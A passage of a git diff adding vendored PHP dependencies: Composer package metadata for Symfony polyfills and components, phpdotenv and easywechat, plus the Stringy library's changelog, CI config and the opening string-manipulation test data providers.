"github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ] + }, + { + "name": "symfony/polyfill-intl-normalizer", + "version": "v1.19.0", + "version_normalized": "1.19.0.0", + "source": { + "type": "git", + "url": "https://github.com/symfony/polyfill-intl-normalizer.git", + "reference": "8db0ae7936b42feb370840cf24de1a144fb0ef27" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/polyfill-intl-normalizer/zipball/8db0ae7936b42feb370840cf24de1a144fb0ef27", + "reference": "8db0ae7936b42feb370840cf24de1a144fb0ef27", + "shasum": "" + }, + "require": { + "php": ">=5.3.3" + }, + "suggest": { + "ext-intl": "For best performance" + }, + "time": "2020-10-23T09:01:57+00:00", + "type": "library", + "extra": { + "thanks": { + "url": "https://github.com/symfony/polyfill", + "name": "symfony/polyfill" + }, + "branch-alias": { + "dev-main": "1.19-dev" + } + }, + "installation-source": "dist", + "autoload": { + "files": [ + "bootstrap.php" + ], + "psr-4": { + "Symfony\\Polyfill\\Intl\\Normalizer\\": "" + }, + "classmap": [ + "Resources/stubs" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Nicolas Grekas", + "email": "p@tchwork.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony polyfill for intl's Normalizer class and related functions", + "homepage": "https://symfony.com", + "keywords": [ + "compatibility", + "intl", + "normalizer", + "polyfill", + "portable", + "shim" + ], + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ] + }, + { + "name": "symfony/polyfill-mbstring", + "version": "v1.19.0", + "version_normalized": "1.19.0.0", + "source": { + "type": "git", + "url": "https://github.com/symfony/polyfill-mbstring.git", + "reference": "b5f7b932ee6fa802fc792eabd77c4c88084517ce" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/polyfill-mbstring/zipball/b5f7b932ee6fa802fc792eabd77c4c88084517ce", + "reference": "b5f7b932ee6fa802fc792eabd77c4c88084517ce", + "shasum": "" + }, + "require": { + "php": ">=5.3.3" + }, + "suggest": { + "ext-mbstring": "For best performance" + }, + "time": "2020-10-23T09:01:57+00:00", + "type": "library", + "extra": { + "thanks": { + "url": "https://github.com/symfony/polyfill", + "name": "symfony/polyfill" + }, + "branch-alias": { + "dev-main": "1.19-dev" + } + }, + "installation-source": "dist", + "autoload": { + "files": [ + "bootstrap.php" + ], + "psr-4": { + "Symfony\\Polyfill\\Mbstring\\": "" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Nicolas Grekas", + "email": "p@tchwork.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony polyfill for the Mbstring extension", + "homepage": "https://symfony.com", + "keywords": [ + "compatibility", + "mbstring", + "polyfill", + "portable", + "shim" + ], + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ] + }, + { + "name": "symfony/polyfill-php56", + "version": "v1.19.0", + "version_normalized": "1.19.0.0", + "source": { + "type": "git", + "url": "https://github.com/symfony/polyfill-php56.git", + "reference": "ea19621731cbd973a6702cfedef3419768bf3372" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/polyfill-php56/zipball/ea19621731cbd973a6702cfedef3419768bf3372", + "reference": "ea19621731cbd973a6702cfedef3419768bf3372", + "shasum": "" + }, + "require": { + "php": ">=5.3.3", + "symfony/polyfill-util": "~1.0" + }, + "time": "2020-10-23T09:01:57+00:00", + "type": "library", + "extra": { + "thanks": { + "url": "https://github.com/symfony/polyfill", + "name": "symfony/polyfill" + }, + "branch-alias": { + "dev-main": "1.19-dev" + } + }, + "installation-source": "dist", + "autoload": { + "files": [ + "bootstrap.php" + ], + "psr-4": { + "Symfony\\Polyfill\\Php56\\": "" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Nicolas Grekas", + "email": "p@tchwork.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony polyfill backporting some PHP 5.6+ features to lower PHP versions", + "homepage": "https://symfony.com", + "keywords": [ + "compatibility", + "polyfill", + "portable", + "shim" + ], + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ] + }, + { + "name": "symfony/polyfill-php70", + "version": "v1.19.0", + "version_normalized": "1.19.0.0", + "source": { + "type": "git", + "url": "https://github.com/symfony/polyfill-php70.git", + "reference": "3fe414077251a81a1b15b1c709faf5c2fbae3d4e" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/polyfill-php70/zipball/3fe414077251a81a1b15b1c709faf5c2fbae3d4e", + "reference": "3fe414077251a81a1b15b1c709faf5c2fbae3d4e", + "shasum": "" + }, + "require": { + "paragonie/random_compat": "~1.0|~2.0|~9.99", + "php": ">=5.3.3" + }, + "time": "2020-10-23T09:01:57+00:00", + "type": "library", + "extra": { + "thanks": { + "url": "https://github.com/symfony/polyfill", + "name": "symfony/polyfill" + }, + "branch-alias": { + "dev-main": "1.19-dev" + } + }, + "installation-source": "dist", + "autoload": { + "files": [ + "bootstrap.php" + ], + "psr-4": { + "Symfony\\Polyfill\\Php70\\": "" + }, + "classmap": [ + "Resources/stubs" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Nicolas Grekas", + "email": "p@tchwork.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony polyfill backporting some PHP 7.0+ features to lower PHP versions", + "homepage": "https://symfony.com", + "keywords": [ + "compatibility", + "polyfill", + "portable", + "shim" + ], + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ] + }, + { + "name": "symfony/polyfill-php72", + "version": "v1.19.0", + "version_normalized": "1.19.0.0", + "source": { + "type": "git", + "url": "https://github.com/symfony/polyfill-php72.git", + "reference": "beecef6b463b06954638f02378f52496cb84bacc" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/polyfill-php72/zipball/beecef6b463b06954638f02378f52496cb84bacc", + "reference": "beecef6b463b06954638f02378f52496cb84bacc", + "shasum": "" + }, + "require": { + "php": ">=5.3.3" + }, + "time": "2020-10-23T09:01:57+00:00", + "type": "library", + "extra": { + "thanks": { + "url": "https://github.com/symfony/polyfill", + "name": "symfony/polyfill" + }, + "branch-alias": { + "dev-main": "1.19-dev" + } + }, + "installation-source": "dist", + "autoload": { + "files": [ + "bootstrap.php" + ], + "psr-4": { + "Symfony\\Polyfill\\Php72\\": "" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Nicolas Grekas", + "email": "p@tchwork.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony polyfill backporting some PHP 7.2+ features to lower PHP versions", + "homepage": "https://symfony.com", + "keywords": [ + "compatibility", + "polyfill", + "portable", + "shim" + ], + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ] + }, + { + "name": "symfony/polyfill-util", + "version": "v1.19.0", + "version_normalized": "1.19.0.0", + "source": { + "type": "git", + "url": "https://github.com/symfony/polyfill-util.git", + "reference": "8df0c3e6a4b85df9a5c6f3f2f46fba5c5c47058a" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/polyfill-util/zipball/8df0c3e6a4b85df9a5c6f3f2f46fba5c5c47058a", + "reference": "8df0c3e6a4b85df9a5c6f3f2f46fba5c5c47058a", + "shasum": "" + }, + "require": { + "php": ">=5.3.3" + }, + "time": "2020-10-21T09:57:48+00:00", + "type": "library", + "extra": { + "thanks": { + "url": "https://github.com/symfony/polyfill", + "name": "symfony/polyfill" + }, + "branch-alias": { + "dev-main": "1.19-dev" + } + }, + "installation-source": "dist", + "autoload": { + "psr-4": { + "Symfony\\Polyfill\\Util\\": "" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Nicolas Grekas", + "email": "p@tchwork.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony utilities for portability of PHP codes", + "homepage": "https://symfony.com", + "keywords": [ + "compat", + "compatibility", + "polyfill", + "shim" + ], + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ] + }, + { + "name": "symfony/process", + "version": "v2.7.51", + "version_normalized": "2.7.51.0", + "source": { + "type": "git", + "url": "https://github.com/symfony/process.git", + "reference": "eda637e05670e2afeec3842dcd646dce94262f6b" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/process/zipball/eda637e05670e2afeec3842dcd646dce94262f6b", + "reference": "eda637e05670e2afeec3842dcd646dce94262f6b", + "shasum": "" + }, + "require": { + "php": ">=5.3.9" + }, + "time": "2018-08-03T11:24:48+00:00", + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "2.7-dev" + } + }, + "installation-source": "dist", + "autoload": { + "psr-4": { + "Symfony\\Component\\Process\\": "" + }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Fabien Potencier", + "email": "fabien@symfony.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony Process Component", + "homepage": "https://symfony.com" + }, + { + "name": "symfony/routing", + "version": "v2.7.51", + "version_normalized": "2.7.51.0", + "source": { + "type": "git", + "url": "https://github.com/symfony/routing.git", + "reference": "33bd5882f201f9a3b7dd9640b95710b71304c4fb" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/routing/zipball/33bd5882f201f9a3b7dd9640b95710b71304c4fb", + "reference": "33bd5882f201f9a3b7dd9640b95710b71304c4fb", + "shasum": "" + }, + "require": { + "php": ">=5.3.9" + }, + "conflict": { + "symfony/config": "<2.7" + }, + "require-dev": { + "doctrine/annotations": "~1.0", + "doctrine/common": "~2.2", + "psr/log": "~1.0", + "symfony/config": "~2.7", + "symfony/expression-language": "~2.4", + "symfony/http-foundation": "~2.3", + "symfony/yaml": "^2.0.5" + }, + "suggest": { + "doctrine/annotations": "For using the annotation loader", + "symfony/config": "For using the all-in-one router or any loader", + "symfony/expression-language": "For using expression matching", + "symfony/http-foundation": "For using a Symfony Request object", + "symfony/yaml": "For using the YAML loader" + }, + "time": "2018-02-28T09:36:59+00:00", + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "2.7-dev" + } + }, + "installation-source": "dist", + "autoload": { + "psr-4": { + "Symfony\\Component\\Routing\\": "" + }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Fabien Potencier", + "email": "fabien@symfony.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony Routing Component", + "homepage": "https://symfony.com", + "keywords": [ + "router", + "routing", + "uri", + "url" + ] + }, + { + "name": "symfony/translation", + "version": "v2.7.51", + "version_normalized": "2.7.51.0", + "source": { + "type": "git", + "url": "https://github.com/symfony/translation.git", + "reference": "1959c78c5a32539ef221b3e18a961a96d949118f" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/translation/zipball/1959c78c5a32539ef221b3e18a961a96d949118f", + "reference": "1959c78c5a32539ef221b3e18a961a96d949118f", + "shasum": "" + }, + "require": { + "php": ">=5.3.9" + }, + "conflict": { + "symfony/config": "<2.7" + }, + "require-dev": { + "psr/log": "~1.0", + "symfony/config": "~2.7", + "symfony/intl": "~2.7.25|^2.8.18", + "symfony/yaml": "~2.2" + }, + "suggest": { + "psr/log-implementation": "To use logging capability in translator", + "symfony/config": "", + "symfony/yaml": "" + }, + "time": "2018-05-17T10:34:06+00:00", + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "2.7-dev" + } + }, + "installation-source": "dist", + "autoload": { + "psr-4": { + "Symfony\\Component\\Translation\\": "" + }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Fabien Potencier", + "email": "fabien@symfony.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony Translation Component", + "homepage": "https://symfony.com" + }, + { + "name": "symfony/var-dumper", + "version": "v2.7.51", + "version_normalized": "2.7.51.0", + "source": { + "type": "git", + "url": "https://github.com/symfony/var-dumper.git", + "reference": "6f9271e94369db05807b261fcfefe4cd1aafd390" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/var-dumper/zipball/6f9271e94369db05807b261fcfefe4cd1aafd390", + "reference": "6f9271e94369db05807b261fcfefe4cd1aafd390", + "shasum": "" + }, + "require": { + "php": ">=5.3.9" + }, + "conflict": { + "phpunit/phpunit": "<4.8.35|<5.4.3,>=5.0" + }, + "suggest": { + "ext-symfony_debug": "" + }, + "time": "2018-04-22T05:56:10+00:00", + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "2.7-dev" + } + }, + "installation-source": "dist", + "autoload": { + "files": [ + "Resources/functions/dump.php" + ], + "psr-4": { + "Symfony\\Component\\VarDumper\\": "" + }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Nicolas Grekas", + "email": "p@tchwork.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony mechanism for exploring and dumping PHP variables", + "homepage": "https://symfony.com", + "keywords": [ + "debug", + "dump" + ] + }, + { + "name": "tijsverkoyen/css-to-inline-styles", + "version": "v2.2.7", + "version_normalized": "2.2.7.0", + "source": { + "type": "git", + "url": "https://github.com/tijsverkoyen/CssToInlineStyles.git", + "reference": "83ee6f38df0a63106a9e4536e3060458b74ccedb" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/tijsverkoyen/CssToInlineStyles/zipball/83ee6f38df0a63106a9e4536e3060458b74ccedb", + "reference": "83ee6f38df0a63106a9e4536e3060458b74ccedb", + "shasum": "" + }, + "require": { + "ext-dom": "*", + "ext-libxml": "*", + "php": "^5.5 || ^7.0 || ^8.0", + "symfony/css-selector": "^2.7 || ^3.0 || ^4.0 || ^5.0 || ^6.0 || ^7.0" + }, + "require-dev": { + "phpunit/phpunit": "^4.8.35 || ^5.7 || ^6.0 || ^7.5 || ^8.5.21 || ^9.5.10" + }, + "time": "2023-12-08T13:03:43+00:00", + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "2.2.x-dev" + } + }, + "installation-source": "dist", + "autoload": { + "psr-4": { + "TijsVerkoyen\\CssToInlineStyles\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Tijs Verkoyen", + "email": "css_to_inline_styles@verkoyen.eu", + "role": "Developer" + } + ], + "description": "CssToInlineStyles is a class that enables you to convert HTML-pages/files into HTML-pages/files with inline styles. This is very useful when you're sending emails.", + "homepage": "https://github.com/tijsverkoyen/CssToInlineStyles" + }, + { + "name": "vlucas/phpdotenv", + "version": "v1.1.1", + "version_normalized": "1.1.1.0", + "source": { + "type": "git", + "url": "https://github.com/vlucas/phpdotenv.git", + "reference": "0cac554ce06277e33ddf9f0b7ade4b8bbf2af3fa" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/vlucas/phpdotenv/zipball/0cac554ce06277e33ddf9f0b7ade4b8bbf2af3fa", + "reference": "0cac554ce06277e33ddf9f0b7ade4b8bbf2af3fa", + "shasum": "" + }, + "require": { + "php": ">=5.3.2" + }, + "require-dev": { + "phpunit/phpunit": "~4.0" + }, + "time": "2015-05-30T15:59:26+00:00", + "type": "library", + "installation-source": "dist", + "autoload": { + "psr-0": { + "Dotenv": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD" + ], + "authors": [ + { + "name": "Vance Lucas", + "email": "vance@vancelucas.com", + "homepage": "http://www.vancelucas.com" + } + ], + "description": "Loads environment variables from `.env` to `getenv()`, `$_ENV` and `$_SERVER` automagically.", + "homepage": "http://github.com/vlucas/phpdotenv", + "keywords": [ + "dotenv", + "env", + "environment" + ] + }, + { + "name": "w7corp/easywechat", + "version": "dev-master", + "version_normalized": "9999999-dev", + "source": { + "type": "git", + "url": "https://gitee.com/modstart-lib/overtrue-wechat-mix.git", + "reference": "3cea32a5c15ce1b8434eb0e7c83406c250f0b976" + }, + "require": { + "easywechat-composer/easywechat-composer": "dev-master", + "pimple/pimple": "~3.0" + }, + "type": "library", + "extra": { + "hooks": { + "pre-commit": "composer check-style", + "pre-push": [ + "composer test", + "composer fix-style" + ] + } + }, + "installation-source": "source", + "autoload": { + "psr-4": { + "EasyWeChat\\": "src/" + }, + "files": [ + "src/Kernel/Support/Helpers.php", + "src/Kernel/Helpers.php" + ] + }, + "autoload-dev": { + "psr-4": { + "EasyWeChat\\Tests\\": "tests/" + } + }, + "scripts": { + "post-update-cmd": [ + "cghooks update" + ], + "post-merge": [ + "composer install" + ], + "post-install-cmd": [ + "cghooks add --ignore-lock", + "cghooks update" + ], + "phpstan": [ + "vendor/bin/phpstan analyse" + ], + "check-style": [ + "php-cs-fixer fix --using-cache=no --diff --config=.php_cs --dry-run --ansi" + ], + "fix-style": [ + "php-cs-fixer fix --using-cache=no --config=.php_cs --ansi" + ], + "test": [ + "vendor/bin/phpunit --colors=always --testdox" + ] + }, + "license": [ + "MIT" + ], + "authors": [ + { + "name": "overtrue", + "email": "anzhengchao@gmail.com" + } + ], + "description": "微信SDK", + "keywords": [ + "easywechat", + "sdk", + "wechat", + "weixin", + "weixin-sdk" + ] + } +] diff --git a/vendor/danielstjules/stringy/.travis.yml b/vendor/danielstjules/stringy/.travis.yml new file mode 100644 index 00000000..f7637c8c --- /dev/null +++ b/vendor/danielstjules/stringy/.travis.yml @@ -0,0 +1,7 @@ +language: php +php: + - 5.6 + - 5.5 + - 5.4 + - 5.3 + - hhvm diff --git a/vendor/danielstjules/stringy/CHANGELOG.md b/vendor/danielstjules/stringy/CHANGELOG.md new file mode 100644 index 00000000..379c6290 --- /dev/null +++ b/vendor/danielstjules/stringy/CHANGELOG.md @@ -0,0 +1,119 @@ +### 1.10.0 (2015-07-22) + + * Added trimLeft, trimRight + * Added support for unicode whitespace to trim + * Added delimit + * Added indexOf and indexOfLast + * Added htmlEncode and htmlDecode + * Added "Ç" in toAscii() + +### 1.9.0 (2015-02-09) + + * Added hasUpperCase and hasLowerCase + * Added $removeUnsupported parameter to toAscii() + * Improved toAscii support with additional Unicode spaces, Vietnamese chars, + and numerous other characters + * Separated the charsArray from toAscii as a protected method that may be + extended by inheriting classes + * Chars array is cached for better performance + +### 1.8.1 (2015-01-08) + + * Optimized chars() + * Added "ä Ä Ö Ü"" in toAscii() + * Added support for Unicode spaces in toAscii() + * Replaced instances of self::create() with static::create() + * Added missing test cases for safeTruncate() and longestCommonSuffix() + * Updated Stringy\create() to avoid collision when it already exists + +### 1.8.0 (2015-01-03) + + * Listed ext-mbstring in composer.json + * Added Stringy\create function for PHP 5.6 + +### 1.7.0 (2014-10-14) + + * Added containsAll and containsAny + * Light cleanup + +### 1.6.0 (2014-09-14) + + * Added toTitleCase + +### 1.5.2 (2014-07-09) + + * Announced support for HHVM + +### 1.5.1 (2014-04-19) + + * Fixed toAscii() failing to remove remaining non-ascii characters + * Updated slugify() to treat dash and underscore as delimiters by default + * Updated slugify() to remove leading and trailing delimiter, if present + +### 1.5.0 (2014-03-19) + + * Made both str and encoding protected, giving property access to subclasses + * Added getEncoding() + * Fixed isJSON() giving false negatives + * Cleaned up and simplified: replace(), collapseWhitespace(), underscored(), + dasherize(), pad(), padLeft(), padRight() and padBoth() + * Fixed handling consecutive invalid chars in slugify() + * Removed conflicting hard sign transliteration in toAscii() + +### 1.4.0 (2014-02-12) + + * Implemented the IteratorAggregate interface, added chars() + * Renamed count() to countSubstr() + * Updated count() to implement Countable interface + * Implemented the ArrayAccess interface with positive and negative indices + * Switched from PSR-0 to PSR-4 autoloading + +### 1.3.0 (2013-12-16) + + * Additional Bulgarian support for toAscii + * str property made private + * Constructor casts first argument to string + * Constructor throws an InvalidArgumentException when given an array + * Constructor throws an InvalidArgumentException when given an object without + a __toString method + +### 1.2.2 (2013-12-04) + + * Updated create function to use late static binding + * Added optional $replacement param to slugify + +### 1.2.1 (2013-10-11) + + * Cleaned up tests + * Added homepage to composer.json + +### 1.2.0 (2013-09-15) + + * Fixed pad's use of InvalidArgumentException + * Fixed replace(). It now correctly treats regex special chars as normal chars + * Added additional Cyrillic letters to toAscii + * Added $caseSensitive to contains() and count() + * Added toLowerCase() + * Added toUpperCase() + * Added regexReplace() + +### 1.1.0 (2013-08-31) + + * Fix for collapseWhitespace() + * Added isHexadecimal() + * Added constructor to Stringy\Stringy + * Added isSerialized() + * Added isJson() + +### 1.0.0 (2013-08-1) + + * 1.0.0 release + * Added test coverage for Stringy::create and method chaining + * Added tests for returned type + * Fixed StaticStringy::replace(). It was returning a Stringy object instead of string + * Renamed standardize() to the more appropriate toAscii() + * Cleaned up comments and README + +### 1.0.0-rc.1 (2013-07-28) + + * Release candidate diff --git a/vendor/danielstjules/stringy/phpunit.xml.dist b/vendor/danielstjules/stringy/phpunit.xml.dist new file mode 100644 index 00000000..987dbbfa --- /dev/null +++ b/vendor/danielstjules/stringy/phpunit.xml.dist @@ -0,0 +1,14 @@ + + + + + + tests/CommonTest.php + tests/StringyTest.php + tests/StaticStringyTest.php + tests/CreateTest.php + + + diff --git a/vendor/danielstjules/stringy/tests/CommonTest.php b/vendor/danielstjules/stringy/tests/CommonTest.php new file mode 100644 index 00000000..285deb5a --- /dev/null +++ b/vendor/danielstjules/stringy/tests/CommonTest.php @@ -0,0 +1,1130 @@ +assertInstanceOf('Stringy\Stringy', $actual); + } + + public function indexOfProvider() + { + return array( + array(2, 'This is the string', 'is'), + array(2, 'This is the string', 'is', 0, 'UTF-8'), + array(false, 'This is the string', 'not-found', 0, 'UTF-8'), + array(32, 'This is the string... and there is another thing', 'is', 10, 'UTF-8'), + ); + } + + public function indexOfLastProvider() + { + return array( + array(5, 'This is the string', 'is'), + array(5, 'This is the string', 'is', 0, 'UTF-8'), + array(false, 'This is the string', 'not-found', 0, 'UTF-8'), + array(32, 'This is the string... and there is another thing', 'is', 0, 'UTF-8'), + ); + } + + public function charsProvider() + { + return array( + array(array(), ''), + array(array('T', 'e', 's', 't'), 'Test'), + array(array('F', 'ò', 'ô', ' ', 'B', 'à', 'ř'), 'Fòô Bàř', 'UTF-8') + ); + } + + public function upperCaseFirstProvider() + { + return array( + array('Test', 'Test'), + array('Test', 'test'), + array('1a', '1a'), + array('Σ test', 'σ test', 'UTF-8'), + array(' σ test', ' σ test', 'UTF-8') + ); + } + + public function lowerCaseFirstProvider() + { + return array( + array('test', 'Test'), + array('test', 'test'), + array('1a', '1a'), + array('σ test', 'Σ test', 'UTF-8'), + array(' Σ test', ' Σ test', 'UTF-8') + ); + } + + public function camelizeProvider() + { + return array( + array('camelCase', 'CamelCase'), + array('camelCase', 'Camel-Case'), + array('camelCase', 'camel case'), + array('camelCase', 'camel -case'), + array('camelCase', 'camel - case'), + array('camelCase', 'camel_case'), + array('camelCTest', 'camel c test'), + array('stringWith1Number', 'string_with1number'), + array('stringWith22Numbers', 'string-with-2-2 numbers'), + array('1Camel2Case', '1camel2case'), + array('camelΣase', 'camel σase', 'UTF-8'), + array('στανιλCase', 'Στανιλ case', 'UTF-8'), + array('σamelCase', 'σamel Case', 'UTF-8') + ); + } + + public function upperCamelizeProvider() + { + return array( + array('CamelCase', 'camelCase'), + array('CamelCase', 'Camel-Case'), + array('CamelCase', 'camel case'), + array('CamelCase', 'camel -case'), + array('CamelCase', 'camel - case'), + array('CamelCase', 'camel_case'), + array('CamelCTest', 'camel c test'), + array('StringWith1Number', 'string_with1number'), + array('StringWith22Numbers', 'string-with-2-2 numbers'), + array('1Camel2Case', '1camel2case'), + array('CamelΣase', 'camel σase', 'UTF-8'), + array('ΣτανιλCase', 'στανιλ case', 'UTF-8'), + array('ΣamelCase', 'Σamel Case', 'UTF-8') + ); + } + + public function dasherizeProvider() + { + return array( + array('test-case', 'testCase'), + array('test-case', 'Test-Case'), + array('test-case', 'test case'), + array('-test-case', '-test -case'), + array('test-case', 'test - case'), + array('test-case', 'test_case'), + array('test-c-test', 'test c test'), + array('test-d-case', 'TestDCase'), + array('test-c-c-test', 'TestCCTest'), + array('string-with1number', 'string_with1number'), + array('string-with-2-2-numbers', 'String-with_2_2 numbers'), + array('1test2case', '1test2case'), + array('dash-σase', 'dash Σase', 'UTF-8'), + array('στανιλ-case', 'Στανιλ case', 'UTF-8'), + array('σash-case', 'Σash Case', 'UTF-8') + ); + } + + public function underscoredProvider() + { + return array( + array('test_case', 'testCase'), + array('test_case', 'Test-Case'), + array('test_case', 'test case'), + array('test_case', 'test -case'), + array('_test_case', '-test - case'), + array('test_case', 'test_case'), + array('test_c_test', ' test c test'), + array('test_u_case', 'TestUCase'), + array('test_c_c_test', 'TestCCTest'), + array('string_with1number', 'string_with1number'), + array('string_with_2_2_numbers', 'String-with_2_2 numbers'), + array('1test2case', '1test2case'), + array('test_σase', 'test Σase', 'UTF-8'), + array('στανιλ_case', 'Στανιλ case', 'UTF-8'), + array('σash_case', 'Σash Case', 'UTF-8') + ); + } + + public function delimitProvider() + { + return array( + array('test*case', 'testCase', '*'), + array('test&case', 'Test-Case', '&'), + array('test#case', 'test case', '#'), + array('test**case', 'test -case', '**'), + array('~!~test~!~case', '-test - case', '~!~'), + array('test*case', 'test_case', '*'), + array('test%c%test', ' test c test', '%'), + array('test+u+case', 'TestUCase', '+'), + array('test=c=c=test', 'TestCCTest', '='), + array('string#>with1number', 'string_with1number', '#>'), + array('1test2case', '1test2case', '*'), + array('test ύα σase', 'test Σase', ' ύα ', 'UTF-8',), + array('στανιλαcase', 'Στανιλ case', 'α', 'UTF-8',), + array('σashΘcase', 'Σash Case', 'Θ', 'UTF-8') + ); + } + + public function swapCaseProvider() + { + return array( + array('TESTcASE', 'testCase'), + array('tEST-cASE', 'Test-Case'), + array(' - σASH cASE', ' - Σash Case', 'UTF-8'), + array('νΤΑΝΙΛ', 'Ντανιλ', 'UTF-8') + ); + } + + public function titleizeProvider() + { + $ignore = array('at', 'by', 'for', 'in', 'of', 'on', 'out', 'to', 'the'); + + return array( + array('Testing The Method', 'testing the method'), + array('Testing the Method', 'testing the method', $ignore, 'UTF-8'), + array('I Like to Watch DVDs at Home', 'i like to watch DVDs at home', + $ignore, 'UTF-8'), + array('Θα Ήθελα Να Φύγει', ' Θα ήθελα να φύγει ', null, 'UTF-8') + ); + } + + public function humanizeProvider() + { + return array( + array('Author', 'author_id'), + array('Test user', ' _test_user_'), + array('Συγγραφέας', ' συγγραφέας_id ', 'UTF-8') + ); + } + + public function tidyProvider() + { + return array( + array('"I see..."', '“I see…”'), + array("'This too'", "‘This too’"), + array('test-dash', 'test—dash'), + array('Ο συγγραφέας είπε...', 'Ο συγγραφέας είπε…') + ); + } + + public function collapseWhitespaceProvider() + { + return array( + array('foo bar', ' foo bar '), + array('test string', 'test string'), + array('Ο συγγραφέας', ' Ο συγγραφέας '), + array('123', ' 123 '), + array('', ' ', 'UTF-8'), // no-break space (U+00A0) + array('', '           ', 'UTF-8'), // spaces U+2000 to U+200A + array('', ' ', 'UTF-8'), // narrow no-break space (U+202F) + array('', ' ', 'UTF-8'), // medium mathematical space (U+205F) + array('', ' ', 'UTF-8'), // ideographic space (U+3000) + array('1 2 3', '  1  2  3  ', 'UTF-8'), + array('', ' '), + array('', ''), + ); + } + + public function toAsciiProvider() + { + return array( + array('foo bar', 'fòô bàř'), + array(' TEST ', ' ŤÉŚŢ '), + array('f = z = 3', 'φ = ź = 3'), + array('perevirka', 'перевірка'), + array('lysaya gora', 'лысая гора'), + array('shchuka', 'щука'), + array('', '漢字'), + array('xin chao the gioi', 'xin chào thế giới'), + array('XIN CHAO THE GIOI', 'XIN CHÀO THẾ GIỚI'), + array('dam phat chet luon', 'đấm phát chết luôn'), + array(' ', ' '), // no-break space (U+00A0) + array(' ', '           '), // spaces U+2000 to U+200A + array(' ', ' '), // narrow no-break space (U+202F) + array(' ', ' '), // medium mathematical space (U+205F) + array(' ', ' '), // ideographic space (U+3000) + array('', '𐍉'), // some uncommon, unsupported character (U+10349) + array('𐍉', '𐍉', false), + ); + } + + public function padProvider() + { + return array( + // length <= str + array('foo bar', 'foo bar', -1), + 